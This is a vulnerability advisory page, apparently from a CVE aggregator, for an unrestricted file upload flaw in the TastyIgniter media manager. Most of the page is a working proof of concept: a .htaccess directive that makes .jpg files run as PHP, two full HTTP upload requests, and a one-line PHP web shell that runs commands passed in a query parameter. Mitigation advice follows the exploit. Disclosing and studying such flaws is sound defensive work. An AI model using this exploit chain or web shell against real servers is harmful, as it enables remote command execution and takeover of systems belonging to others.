CVE-2026-69179
TastyIgniter Improper Unrestricted File Upload via .htaccess Configuration
Description
### Summary Media manager accepts `.htaccess` file which can be used to perform RCE. ### Details The file upload functionality from media manager somehow accepts `.htaccess` file. This file could be used to allow any extension to run PHP command. By doing so, it is possible to perform RCE. ### PoC - Login as Admin - Create a `.htaccess` file with the following code. ``` <FilesMatch "\.jpg$"> SetHandler application/x-httpd-php </FilesMatch> ``` - Upload the `.htaccess` file via the Media Manager. Request ``` POST /admin/media_manager HTTP/1.1 Host: localhost:8888 Content-Length: 357 sec-ch-ua-platform: "Linux" X-CSRF-TOKEN: 2vv3ZKpvfj2SkbbJzqmf8G053mNXqPLktxqd5eMx Cache-Control: no-cache Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146" sec-ch-ua-mobile: ?0 X-IGNITER-FILEUPLOAD: mediamanager X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: application/json Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryN13ytndlhtodIsbE Origin: http://localhost:8888 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8888/admin/media_manager Accept-Encoding: gzip, deflate, br Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1c3akhoakpaUE9MM0ZUcW5tclBtZi80ZXExR3hpUm5hOU40UDl0NWNSWUpNUmNmU043Qmx4aEk4ZWxQQnZUanBPUHoiLCJtYWMiOiI5YmRkMGQ0M2I5M2EzYzRmNGJjOGU5ODhkY2M2MmU1MmI0ODYzYjc5YjQ2OTIzY2Y2NDJiZTRhZDBmOTQyNDUwIiwidGFnIjoiI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ErZ0FscGlRUFVpMC80YlBKWHNyVDFCTWR6eFBXYUNTc0VCd3NGR1dxVGRWaWVCOU5QNzZVakpDT28iLCJtYWMiOiI3NGYxMGJkNjcyYWVjMGQ5YjQ2M2M1NjBjZmM0ZGRiM2IzODRjNjM3MmYwMjM3NThmMTM2YjQzYmMzYzExYTQ1IiwidGFnIjoiIn0%3D Connection: keep-alive ------WebKitFormBoundaryN13ytndlhtodIsbE Content-Disposition: form-data; name="path" / ------WebKitFormBoundaryN13ytndlhtodIsbE Content-Disposition: form-data; name="file_data"; filename=".htaccess" Content-Type: image/png <FilesMatch "\.jpg$"> SetHandler application/x-httpd-php </FilesMatch> ------WebKitFormBoundaryN13ytndlhtodIsbE-- ``` - Once this step is done, just upload a php file with `.jpg` extension to execute php code. ``` POST /admin/media_manager HTTP/1.1 Host: localhost:8888 Content-Length: 310 sec-ch-ua-platform: "Linux" X-CSRF-TOKEN: 2vv3ZKpvfj2SkbbJzqmf8G053mNXqPLktxqd5eMx Cache-Control: no-cache Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146" sec-ch-ua-mobile: ?0 X-IGNITER-FILEUPLOAD: mediamanager X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: application/json Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryN13ytndlhtodIsbE Origin: http://localhost:8888 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8888/admin/media_manager Accept-Encoding: gzip, deflate, br Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1c3akhoakpaUE9MM0ZUcW5tclBtZi80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idGFnIjoiIn0%3D; tastyigniter_session=eyJpdiI6ImpoQldjRHJMTlJCMXlxVWVnbmt4QUE9PSIsInZhbHVlIjoicS9nRENOZDgvRURBL2kvM1VSOTFmaFgzcEtyVVNZK3pMLzBxL2NnU3MwVUIvaW0zMmhacWRvYnMzUzF2NXhDenZ1MFZkK1ErZ0FscGlRUFVpMC80YlBKWHNyVDFCTWR6eFBXYUNTc0VCd3NGR1dxVGRWaWVCOU5QNzZVakpDT28iLCJtYWMiOiI3NGYxMGJkNjcyYWVjMGQ5YjQ2M2M1NjBjZmM0ZGRiM2IzODRjNjM3MmYwMjM3NThmMTM2YjQzYmMzYzExYTQ1IiwidGFnIjoiIn0%3D Connection: keep-alive ------WebKitFormBoundaryN13ytndlhtodIsbE Content-Disposition: form-data; name="path" / ------WebKitFormBoundaryN13ytndlhtodIsbE Content-Disposition: form-data; name="file_data"; filename="test.jpg" Content-Type: image/png <?php system($_GET['cmd']); ?> ------WebKitFormBoundaryN13ytndlhtodIsbE-- ``` - in the example, we uploaded a `test.jpg` - execution the php code <img width="846" height="205" alt="image" src="https://github.com/user-attachments/assets/4da71cfb-65f6-4580-9bb8-b352713451d9" /> ### Impact Attacker with admin access could abuse this vulnerability to run command directly in the server.
INFO
Published Date :
Nov. 25, 2026, 10:24 p.m.
Last Modified :
Nov. 25, 2026, 10:24 p.m.
Remotely Exploit :
Yes !
Source :
github-security-advisories
CVSS Scores
| Score | Version | Severity | Vector | Exploitability Score | Impact Score | Source |
|---|---|---|---|---|---|---|
| CVSS 3.1 | CRITICAL | github |
Solution
- Disallow .htaccess file uploads in media manager.
- Implement strict file type validation for uploads.
- Configure server to restrict script execution from user uploads.
- Regularly review and update file upload security policies.
References to Advisories, Solutions, and Tools
Here, you will find a curated list of external links that provide in-depth
information, practical solutions, and valuable tools related to
CVE-2026-69179.
CWE - Common Weakness Enumeration
While CVE identifies
specific instances of vulnerabilities, CWE categorizes the common flaws or
weaknesses that can lead to vulnerabilities. CVE-2026-69179 is
associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification
(CAPEC)
stores attack patterns, which are descriptions of the common attributes and
approaches employed by adversaries to exploit the CVE-2026-69179
weaknesses.
We scan GitHub repositories to detect new proof-of-concept exploits. Following list is a collection of public exploits and proof-of-concepts, which have been published on GitHub (sorted by the most recently updated).
Results are limited to the first 15 repositories due to potential performance issues.
The following list is the news that have been mention
CVE-2026-69179 vulnerability anywhere in the article.